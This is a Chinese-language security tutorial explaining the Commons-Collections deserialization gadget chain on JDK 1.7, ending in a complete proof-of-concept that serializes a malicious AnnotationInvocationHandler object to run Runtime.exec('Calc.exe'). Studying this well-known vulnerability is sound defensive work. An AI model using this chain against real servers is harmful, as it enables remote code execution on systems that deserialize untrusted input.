文章目录
Commons-collections概述
官网对Commons-collections的说明
Java commons-collections是JDK 1.2中的一个主要新增部分。它添加了许多强大的数据结构,可以加速大多数重要Java应用程序的开发。从那时起,它已经成为Java中公认的集合处理标准。
Commons-collection是一个基本的数据结构包,他封装拓展了Java基础Collection中的数据结构,而形成反序列化的数据结构是一个叫TransformedMap
的一个Map结构的拓展。它实现了每次Map中元素发生改变时自动进行一些逻辑处理,而处理的逻辑由transformer
函数定义,该函数在TransformedMap实例化时通过参数传入。
InvokerTransformer反射触发
Transform接口有三个实现类,最后的构造也是通过这些实现类来完成。首先来看下transform的一个重要实现类InvokerTransformer的部分代码
public class InvokerTransformer implements Transformer, Serializable {
static final long serialVersionUID = -8653385846894047688L;
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
}
通过上述代码可以看出InvokerTransformer是Transformer的一个实现类,其构造方法中传入了三个可控参数分别为methodName
,paramTypes
,args
分别对应了方法名,参数类型和参数,而重写的Transform
方法为通过反射机制执行传入的函数以及参数。
由于我们最终的目的为执行任意函数,也就是执行Runtime.getRuntime().exec("Calc.exe")
语句,那我们首先使用InvokerTransform来实现这一目标,后续再考虑如何触发的问题。
// 创建实例 传入构造方法参数 (函数名 参数类型 参数值)
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new String[]{"Calc.exe"}
);
// 通过反射机制依次获得Runtime类 getRuntime构造方法 最后生成Runtime实例
Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
// 执行transform函数
invokerTransformer.transform(input);
代码的内容为:
- 创建InvokerTransformer实例并传入想要执行的函数名,参数类型和参数值
- 通过反射机制得到Runtime实例作为transform函数的输入对象
- 调用transform函数
发现可以成功弹出计算器
目前通过InvokerTransformer类已经可以实现反射执行命令的效果,不过需要两个前提条件,第一需要一个Runtime
的实例作为input参数,第二需要主动调用transform
函数,显然在服务端是不可能完成这两个条件的,所以接下来的问题就是如何自动传入构造的input并自动触发transform函数。
ChainedTransformer遍历触发
同样先看下ChainedTransformer的主要代码
public class ChainedTransformer implements Transformer, Serializable {
static final long serialVersionUID = 3514945074733160196L;
private final Transformer[] iTransformers;
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
public Transformer[] getTransformers() {
return this.iTransformers;
}
}
其中重写的transform方法为一个循环,遍历传入的transform数组,依次调用数组中每个元素的transform方法,并将每次调用返回的结果Object当作下次调用的输入。从这里就可以联想到上一个InvokerTransformer
我们的需求之一就是自动传入构造的input,并自动触发。而ChainedTransformer
刚好满足了这个需求。
接下来来构造ChainedTransformer的利用链。
这里利用链的构造用到了另外一个Transformer的实现类ConstantTransformer
,不过这个实现类非常简单,简单来说就是实例化传入一个Object,transform函数会返回这个传入的Object。代码如下所示
public class ConstantTransformer implements Transformer, Serializable {
static final long serialVersionUID = 6374440726369055124L;
public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);
private final Object iConstant;
public static Transformer getInstance(Object constantToReturn) {
return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));
}
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
public Object getConstant() {
return this.iConstant;
}
}
最终构造的利用链为:
Transformer[] transformers = new Transformer[]{
// 获得Runtime类对象
new ConstantTransformer(Runtime.class),
// 传入Runtime类对象 反射执行getMethod获得getRuntime方法
new InvokerTransformer(
"getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}
),
// 传入getRuntime方法 反射执行invoke方法 得到Runtime实例
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, null }
),
// 传入Runtime实例 执行exec方法
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"Calc.exe"})
};
此利用链所对应的反射语句为
((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("calc.exe");
此时的ChainTransformer为:
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);
执行transform成功弹出计算器。
通过ChainedTransformer解决了InvokerTransformer构造input并输入的问题,现在服务端只需要触发transform方法即可
封装为TransformedMap
TransformedMap类实例化的过程中需要传入一个map和一个Transformer,每当TransformedMap
中的元素产生变化时(添加,删除,修改)就会触发传入的Transformer
的transform
方法。这样我们的触发条件就由服务端调用transform方法变为map中有元素发生改变。
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}
可以看出每次调用put都会调用transformKey
,transformValue
protected Object transformKey(Object object) {
return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
而这两个函数值valueTransformer
,keyTransformer
都是可控的
Transformer[] transformers = new Transformer[]{
// 获得Runtime类对象
new ConstantTransformer(Runtime.class),
// 传入Runtime类对象 反射执行getMethod获得getRuntime方法
new InvokerTransformer(
"getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}
),
// 传入getRuntime方法对象 反射执行invoke方法 得到Runtime实例
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, null }
),
// 传入Runtime实例 执行exec方法
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"Calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value","value");
Map outermap = TransformedMap.decorate(innermap,null,chainedTransformer);
经过TransformedMap封装后服务端触发条件从执行chainedTransformer的Transform方法变为对TransformedMap中key or value的修改
寻找ReadObject触发点
AnnotationInvocationHandler触发(JDK1.7)
在jdk1.7中AnnotationInvocationHandler
类重写了ReadObject方法
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
// 触发setValue函数
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
其中遍历传入的Map,也就是上文构造的TransformedMap,然后执行setValue函数var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
成功触发恶意的transform函数。
完整的POC
public class poc {
public static void main(String[] args) {
try {
Transformer[] transformers = new Transformer[]{
// 获得Runtime类对象
new ConstantTransformer(Runtime.class),
// 传入Runtime类对象 反射执行getMethod获得getRuntime方法
new InvokerTransformer(
"getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}
),
// 传入getRuntime方法对象 反射执行invoke方法 得到Runtime实例
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, null }
),
// 传入Runtime实例 执行exec方法
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"Calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value","value");
Map outermap = TransformedMap.decorate(innermap,null,chainedTransformer);
// 构造包含恶意map的AnnotationInvocationHandler对象
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cst = cl.getDeclaredConstructor(Class.class,Map.class);
cst.setAccessible(true);
Object exploitObj = cst.newInstance(Target.class,outermap);
// 序列化
FileOutputStream fos = new FileOutputStream("object");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(exploitObj);
oos.close();
// 反序列化
FileInputStream fis = new FileInputStream("object");
ObjectInputStream ois = new ObjectInputStream(fis);
Object result = ois.readObject();
ois.close();
System.out.println(result);
} catch (Exception e) {
e.printStackTrace();
}
}
}
成功执行
JDK8后更改了AnnotationInvocationHandler
中readObject
的写法,取消了setValue的使用,新建了LinkedHashMap
来储存值。